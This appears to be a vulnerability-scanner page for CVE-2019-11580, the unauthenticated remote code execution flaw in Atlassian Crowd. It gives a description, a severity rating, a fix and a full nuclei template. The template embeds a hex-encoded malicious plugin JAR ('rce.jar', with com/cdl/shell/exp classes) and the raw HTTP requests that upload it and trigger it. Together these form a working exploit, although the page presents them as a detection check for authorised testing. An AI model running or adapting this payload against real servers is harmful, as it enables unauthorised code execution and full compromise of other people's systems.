Atlassian Crowd and Crowd Data Center - Unauthenticated Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

95.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Atlassian Crowd and Crowd Data Center is susceptible to a remote code execution vulnerability because the pdkinstall development plugin is incorrectly enabled in release builds. Attackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits remote code execution on systems running a vulnerable version of Crowd or Crowd Data Center. All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x), from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x), from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x), and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected system, leading to complete compromise of the system.

Fix

Upgrade to Atlassian Crowd and Crowd Data Center version 3.4.3 or later to mitigate this vulnerability.

How to confirm it

Send: POST /crowd/admin/uploadplugin.action ; GET /crowd/plugins/servlet/exp
Positive when: contains in body_2 "CVE-2019-11580"

Run it with nuclei: nuclei -id CVE-2019-11580 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-11580

info:
  name: Atlassian Crowd and Crowd Data Center - Unauthenticated Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: Atlassian Crowd and Crowd Data Center is susceptible to a remote code execution vulnerability because the pdkinstall development plugin is incorrectly enabled in release builds.    Attackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits remote code execution on systems running a vulnerable version of Crowd or Crowd Data Center. All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x), from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x), from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x), and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected system, leading to complete compromise of the system.
  remediation: |
    Upgrade to Atlassian Crowd and Crowd Data Center version 3.4.3 or later to mitigate this vulnerability.
  reference:
    - https://github.com/jas502n/CVE-2019-11580
    - https://jira.atlassian.com/browse/CWD-5388
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11580
    - http://packetstormsecurity.com/files/163810/Atlassian-Crowd-pdkinstall-Remote-Code-Execution.html
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-11580
    epss-score: 0.95355
    epss-percentile: 0.99866
    cpe: cpe:2.3:a:atlassian:crowd:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: atlassian
    product: crowd
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2019,packetstorm,kev,atlassian,rce,intrusive,unauth,vkev,vuln
variables:
  plugin: '{{hex_decode("504b0304140000000800033f2557544c2527eb0000000402000014001c0061746c61737369616e2d706c7567696e2e786d6c555409000316dff66410e4f66475780b000104e803000004e80300007d91416ec3201045d7ce29107b20c91a23e50039c4044f53140c16e0a8bd7d260527ae5595dd7c66febc0f1a8a879c1d0431f9f9ea02bbe177cf6d1ca51dbccc9fe8bdc4af89b30023f6fcb4b4b33304b862e2acce6571c7945d0c3d3f72669f5d7fd9981da3a3eb8c70e12356a5aa90606c8bde5c0314101643c124c87082e22e1eb9296946ad7e66561e03669bdc5488c46c61473269b85aad1bdfe32d8439c8bddc6bb594955afdc2de753a63ba7b2c0d99f2f9e80aaf4ff8aafe798beee93a272f2814c50b4691aed55aa93d6bd80bd8db106362505823caaa9128dab089d6e9e59290b5dafe37890f504b03040a0000000000033f255700000000000000000000000004001c00636f6d2f555409000316dff664bae3f66475780b000104e803000004e8030000504b03040a0000000000033f255700000000000000000000000008001c00636f6d2f63646c2f555409000316dff664bae3f66475780b000104e803000004e8030000504b03040a0000000000854225570000000000000000000000000e001c00636f6d2f63646c2f7368656c6c2f5554090003b9e4f664b9e4f66475780b000104e803000004e8030000504b0304140000000800bd422557a3de4c61670100004602000017001c00636f6d2f63646c2f7368656c6c2f6578702e636c617373555409000326e5f664b9e4f66475780b000104e803000004e80300008d51c94e0241107d25cb208c22e2bea05e0c18b1c1c4a8c17821b824440d183c237470cc3883330df25b5e347af003fc2863b5b870523be95a5ebfeaaa7efdfaf6fc02601bcb51849188611cc90826a298c4948169033384f09ee5586a9f1048676a8460d16d4a42bc6c39f2a4737329bdf3faa5cd48a8e91e4a45a8a4cbd7f56ebd277ce9756da9c495526d71c4a6da072af2b6237d55f893e6b75dc79705dd355aea35645b590c1898e5bcea76bc863cb074e788ecb537f465260c440ccc9998c70261b4582b653773f9dd6c3ebfb59333b06822852542a2e1de8846d316fe95b46dc1e584d4efd310929a202c571c9f7e0f4358fddf2308c32da92e3c4b498f309dce94bf6e3bf32ce7f3a030d064006669ef744098ec4b2becbad31255c59416ab831584f8f7f41a026909d80e73b6c89ed887d61e41f71cb06e6cc31fa0b631985ca2a969f601f6e6fa138608e38107047f2aa27c0ae6c5381ae128c8f828eff847cbb177504b03041400000008003a422557483e79dabf0000000f01000016001c00636f6d2f63646c2f7368656c6c2f6578702e6a617661555409000330e4f66430e4f66475780b000104e803000004e8030000558e416bc3300c85effe15a2a7642ca2290c36721c61eda9d0417bf61cd1787363d75293c0c87fafdbf5903d1008bdf73d14b4f9d14702e34f681a87dc92739552f6147c14f8d6bd1e9129f68e045b91804fd5dc44eb71b3ad474341acef12192e5fce1a304e33038d218d50d730ac13fdf9d704bf4a41d223db7bdb40e33f48b2596847e70bb140a4f333fcbb73f01d5332380769a31f18663fa472782825f0487288562866390eb7255bbcefeb62b52cdf8ab27c795d2ef2ea0e4c6a5257504b01021e03140000000800033f2557544c2527eb00000004020000140018000000000001000000fd810000000061746c61737369616e2d706c7567696e2e786d6c555405000316dff66475780b000104e803000004e8030000504b01021e030a0000000000033f2557000000000000000000000000040018000000000000001000fd4139010000636f6d2f555405000316dff66475780b000104e803000004e8030000504b01021e030a0000000000033f2557000000000000000000000000080018000000000000001000fd4177010000636f6d2f63646c2f555405000316dff66475780b000104e803000004e8030000504b01021e030a0000000000854225570000000000000000000000000e0018000000000000001000fd41b9010000636f6d2f63646c2f7368656c6c2f5554050003b9e4f66475780b000104e803000004e8030000504b01021e03140000000800bd422557a3de4c616701000046020000170018000000000000000000b48101020000636f6d2f63646c2f7368656c6c2f6578702e636c617373555405000326e5f66475780b000104e803000004e8030000504b01021e031400000008003a422557483e79dabf0000000f010000160018000000000001000000b481b9030000636f6d2f63646c2f7368656c6c2f6578702e6a617661555405000330e4f66475780b000104e803000004e8030000504b05060000000006000600ff010000c80400000000")}}'

http:
  - raw:
      - |
        POST /crowd/admin/uploadplugin.action HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Content-Type: multipart/mixed; boundary=----------------------------f15fe87e95a7
        Expect: 100-continue

        ------------------------------f15fe87e95a7
        Content-Disposition: form-data; name="file_cdl"; filename="rce.jar"
        Content-Type: application/octet-stream

        {{plugin}}
        ------------------------------f15fe87e95a7--
      - |
        GET /crowd/plugins/servlet/exp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - "CVE-2019-11580"

References

Use this check only on systems you are authorised to test. Where the data comes from